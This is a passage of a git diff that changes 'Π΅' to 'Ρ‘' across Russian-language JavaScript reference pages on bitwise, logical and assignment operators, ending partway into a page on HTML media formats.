+<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ Π±ΠΈΡ‚ΠΎΠ². ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΡΒ <code>a</code> XOR <code>b</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ 1 Ссли <code>a</code>Β Β ΠΈΒ <code>b</code>Β Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹.Β Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
<table class="standard-table">
<tbody>
@@ -268,13 +268,13 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
14 ^ 9 (осн. 10) = 00000000000000000000000000000111 (осн. 2) = 7 (осн. 10)
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR любого числа x c Π½ΡƒΠ»Π΅ΠΌ Π²Π΅Ρ€Π½Π΅Ρ‚ x.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR любого числа x c Π½ΡƒΠ»Ρ‘ΠΌ Π²Π΅Ρ€Π½Ρ‘Ρ‚ x.</p>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR любого числа x c числом -1 Π²Π΅Ρ€Π½Π΅Ρ‚ ~x.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ XOR любого числа x c числом -1 Π²Π΅Ρ€Π½Ρ‘Ρ‚ ~x.</p>
<h3 id=".7E_.28Bitwise_NOT.29" name=".7E_.28Bitwise_NOT.29">~ (ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ NOT)</h3>
-<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ NOT Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π±ΠΈΡ‚ΠΎΠΌ. NOT <code>a</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎ ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄) ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°.Β Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
+<p>ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ NOT Π½Π°Π΄ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π±ΠΈΡ‚ΠΎΠΌ. NOT <code>a</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎ ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΠ΄) ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°.Β Π’Π°Π±Π»ΠΈΡ†Π° истинности для этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ выглядит Ρ‚Π°ΠΊ:</p>
<table class="standard-table">
<tbody>
@@ -300,7 +300,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
~9 (осн. 10) = 11111111111111111111111111110110 (осн. 2) = -10 (осн. 10)
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ NOT любого числа x Π²Π΅Ρ€Π½Π΅Ρ‚ -(x + 1). НапримСр, ~5 Π²Π΅Ρ€Π½Π΅Ρ‚ -6.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΎΠ΅ NOT любого числа x Π²Π΅Ρ€Π½Ρ‘Ρ‚ -(x + 1). НапримСр, ~5 Π²Π΅Ρ€Π½Ρ‘Ρ‚ -6.</p>
<h2 id="Bitwise_shift_operators" name="Bitwise_shift_operators">ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ сдвига</h2>
@@ -321,7 +321,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
</pre>
-<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΉ сдвиг любого числа <code>x</code>Β Π²Π»Π΅Π²ΠΎ Π½Π° <code>y</code> Π±ΠΈΡ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π΄Π°Π΅Ρ‚Β Β <code>x * 2 ** y</code>.</p>
+<p>ΠŸΠΎΠ±ΠΈΡ‚ΠΎΠ²ΠΉ сдвиг любого числа <code>x</code>Β Π²Π»Π΅Π²ΠΎ Π½Π° <code>y</code> Π±ΠΈΡ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π΄Π°Ρ‘Ρ‚Β Β <code>x * 2 ** y</code>.</p>
<h3 id=".3E.3E_.28Sign-propagating_right_shift.29" name=".3E.3E_.28Sign-propagating_right_shift.29">&gt;&gt; (Π‘Π΄Π²ΠΈΠ³ Π²ΠΏΡ€Π°Π²ΠΎ с сохранСниСм Π·Π½Π°ΠΊΠ°)</h3>
@@ -334,7 +334,7 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
9 &gt;&gt; 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10)
</pre>
-<p>Аналогично, <code>-9 &gt;&gt; 2</code> даст Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Β -3, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π·Π½Π°ΠΊ сохранСн:</p>
+<p>Аналогично, <code>-9 &gt;&gt; 2</code> даст Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Β -3, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π·Π½Π°ΠΊ сохранён:</p>
<pre class="eval"> -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
--------------------------------
@@ -347,14 +347,14 @@ original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
<p>Для ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… чисСл, сдвиг Π²ΠΏΡ€Π°Π²ΠΎ с сохранСниСм Π·Π½Π°ΠΊΠ° ΠΈ сдвиг Π²ΠΏΡ€Π°Π²ΠΎ с Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ нулями эквивалСнтны.</p>
-<p>НапримСр, <code>9 &gt;&gt;&gt; 2</code> Π΄Π°Π΅Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β 2, ΠΊΠ°ΠΊ ΠΈΒ <code>9 &gt;&gt; 2</code>:</p>
+<p>НапримСр, <code>9 &gt;&gt;&gt; 2</code> Π΄Π°Ρ‘Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β 2, ΠΊΠ°ΠΊ ΠΈΒ <code>9 &gt;&gt; 2</code>:</p>
<pre class="eval"> 9 (осн. 10): 00000000000000000000000000001001 (осн. 2)
--------------------------------
9 &gt;&gt;&gt; 2 (осн. 10): 00000000000000000000000000000010 (осн. 2) = 2 (осн. 10)
</pre>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ для ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ. НапримСр, <code>-9 &gt;&gt;&gt; 2</code> Π΄Π°Π΅Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β 1073741821, Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Β <code>-9 &gt;&gt; 2</code> (Ρ€Π°Π²Π½ΠΎ -3):</p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ для ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ. НапримСр, <code>-9 &gt;&gt;&gt; 2</code> Π΄Π°Ρ‘Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β 1073741821, Ρ‡Ρ‚ΠΎ отличаСтся ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°Β <code>-9 &gt;&gt; 2</code> (Ρ€Π°Π²Π½ΠΎ -3):</p>
<pre class="eval"> -9 (осн. 10): 11111111111111111111111111110111 (осн. 2)
--------------------------------
diff --git a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
index ee76c80725..b5f93ec4e7 100644
--- a/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
+++ b/files/ru/conflicting/web/javascript/reference/operators_843c998343f0cdaa5699874c806d4cea/index.html
@@ -26,13 +26,13 @@ original_slug: Web/JavaScript/Reference/Operators/ЛогичСскиС_ΠΎΠΏΠ΅Ρ€Π
<tr>
<td>ЛогичСскоС И (&amp;&amp;)</td>
<td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
- <td>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr1</code>, Ссли ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² false;Β ΠΈΠ½Π°Ρ‡Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr2</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ использовании с Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π°ΠΌΠΈ Ρ‚ΠΈΠΏΠ° Boolean ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ &amp;&amp; Π²Π΅Ρ€Π½Π΅Ρ‚ true, Ссли ΠΎΠ±Π° ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Ρ‹ Π² true; ΠΈΠ½Π°Ρ‡Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ &amp;&amp; Π²Π΅Ρ€Π½Π΅Ρ‚ false.Β </td>
+ <td>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr1</code>, Ссли ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² false;Β ΠΈΠ½Π°Ρ‡Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr2</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ использовании с Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π°ΠΌΠΈ Ρ‚ΠΈΠΏΠ° Boolean ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ &amp;&amp; Π²Π΅Ρ€Π½Ρ‘Ρ‚ true, Ссли ΠΎΠ±Π° ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Ρ‹ Π² true; ΠΈΠ½Π°Ρ‡Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ &amp;&amp; Π²Π΅Ρ€Π½Ρ‘Ρ‚ false.Β </td>
</tr>
<tr>
<td>ЛогичСскоС Π˜Π›Π˜ (<code>||</code>)</td>
<td><code><em>expr1</em> || <em>expr2</em></code></td>
<td>
- <p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr1</code>, Ссли ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² true;Β ΠΈΠ½Π°Ρ‡Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr2.</code>Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ использовании с Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π°ΠΌΠΈ Ρ‚ΠΈΠΏΠ° Boolean ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>||</code>Β Π²Π΅Ρ€Π½Π΅Ρ‚Β <code>true</code> Ссли Ρ…ΠΎΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Ρ€Π°Π²Π΅Π½Β <code>true</code>; Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях вСрнСт <code>false</code>.</p>
+ <p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr1</code>, Ссли ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² true;Β ΠΈΠ½Π°Ρ‡Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>expr2.</code>Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ использовании с Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π°ΠΌΠΈ Ρ‚ΠΈΠΏΠ° Boolean ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>||</code>Β Π²Π΅Ρ€Π½Ρ‘Ρ‚Β <code>true</code> Ссли Ρ…ΠΎΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Ρ€Π°Π²Π΅Π½Β <code>true</code>; Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях вСрнёт <code>false</code>.</p>
</td>
</tr>
<tr>
diff --git a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html
index a084333733..98a8d2af79 100644
--- a/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html
+++ b/files/ru/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html
@@ -15,13 +15,13 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Основной ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания - это Π·Π½Π°ΠΊ Ρ€Π°Π²Π½ΠΎΒ (<code>=</code>),Β ΠΎΠ½ ΠΈ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°, Π»Π΅Π²ΠΎΠΌΡƒ. Π’ΠΎ Π΅ΡΡ‚ΡŒ -Β <code>x = y</code> присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>y</code>, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code>. Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания, ΠΊΠ°ΠΊ слСдуСт ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ с опрСдСлСниями ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ сокращСниями стандартных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</p>
+<p>Основной ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания - это Π·Π½Π°ΠΊ Ρ€Π°Π²Π½ΠΎΒ (<code>=</code>),Β ΠΎΠ½ ΠΈ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°, Π»Π΅Π²ΠΎΠΌΡƒ. Π’ΠΎ Π΅ΡΡ‚ΡŒ -Β <code>x = y</code> присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>y</code>, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code>. Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания, ΠΊΠ°ΠΊ слСдуСт ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ с опрСдСлСниями ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ сокращСниями стандартных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ.</p>
<table class="standard-table">
<tbody>
<tr>
<th>Имя</th>
- <th>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</th>
+ <th>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</th>
<th>Бмысл</th>
</tr>
<tr>
@@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators
<h2 id="ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅</h2>
-<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉΒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. ЦСпочка опСраторов присваивания ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для назначСния нСскольким ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС значСния. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
+<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉΒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. ЦСпочка опСраторов присваивания ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для назначСния нСскольким ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС значСния. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
<h4 id="Бинтаксис">Бинтаксис</h4>
@@ -124,7 +124,7 @@ x = y = z // x, y ΠΈ z всС Ρ€Π°Π²Π½Ρ‹ 25
// bar = 5
// baz = true
-// Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ исполнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°
+// Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ исполнСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°
// прСдставлСн Π² изоляции ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² (ΠΊΠ°ΠΊ Ссли
// Π±Ρ‹ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… foo, bar, baz Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈΡΡŒ Π½Π°
// ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅)
diff --git a/files/ru/conflicting/web/media/formats/index.html b/files/ru/conflicting/web/media/formats/index.html
index db671e312e..61a80ea1e4 100644
--- a/files/ru/conflicting/web/media/formats/index.html
+++ b/files/ru/conflicting/web/media/formats/index.html
@@ -5,7 +5,7 @@ translation_of: Web/Media/Formats
translation_of_original: Web/HTML/Supported_media_formats
original_slug: Web/HTML/ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_ΠΌΠ΅Π΄ΠΈΠ°_Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹
---
-<p><span class="seoSummary">{{ HTMLElement("audio") }} ΠΈ {{ HTMLElement("video") }} элСмСнты ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для проигрывания Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΌΠ΅Π΄ΠΈΠ° Π±Π΅Π· Π½ΡƒΠΆΠ΄Ρ‹ Π² ΠΏΠ»Π°Π³ΠΈΠ½Π°Ρ…. </span>Π€ΠΎΡ€ΠΌΠ°Ρ‚ ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ»Π° состоит ΠΈΠ· ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, содСрТащСго ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… с использованиСм Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° сТатия, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ. ΠšΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ идСнтифицируСтся ΠΏΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ Ρ„Π°ΠΉΠ»Π°. ΠŸΠΎΡ‚ΠΎΠΊΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько Ρ‚ΠΈΠΏΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π²ΠΈΠ΄Π΅ΠΎ, Π°ΡƒΠ΄ΠΈΠΎ, Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Ρ‚ΠΈΡ‚Ρ€Ρ‹. Один ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ (Ρ‚. Π΅. ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ») ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ нСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°. Π’ Π°ΡƒΠ΄ΠΈΠΎ- ΠΈ Π²ΠΈΠ΄Π΅ΠΎ- ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ… находятся ΠΊΠΎΠ΄Π΅ΠΊΠΈ. КодСк β€” сокращСниС слов "ΠΊΠΎΠ΄Π΅Ρ€Π°-Π΄Π΅ΠΊΠΎΠ΄Π΅Ρ€" β€” являСтся Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠΌ сТатия Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ 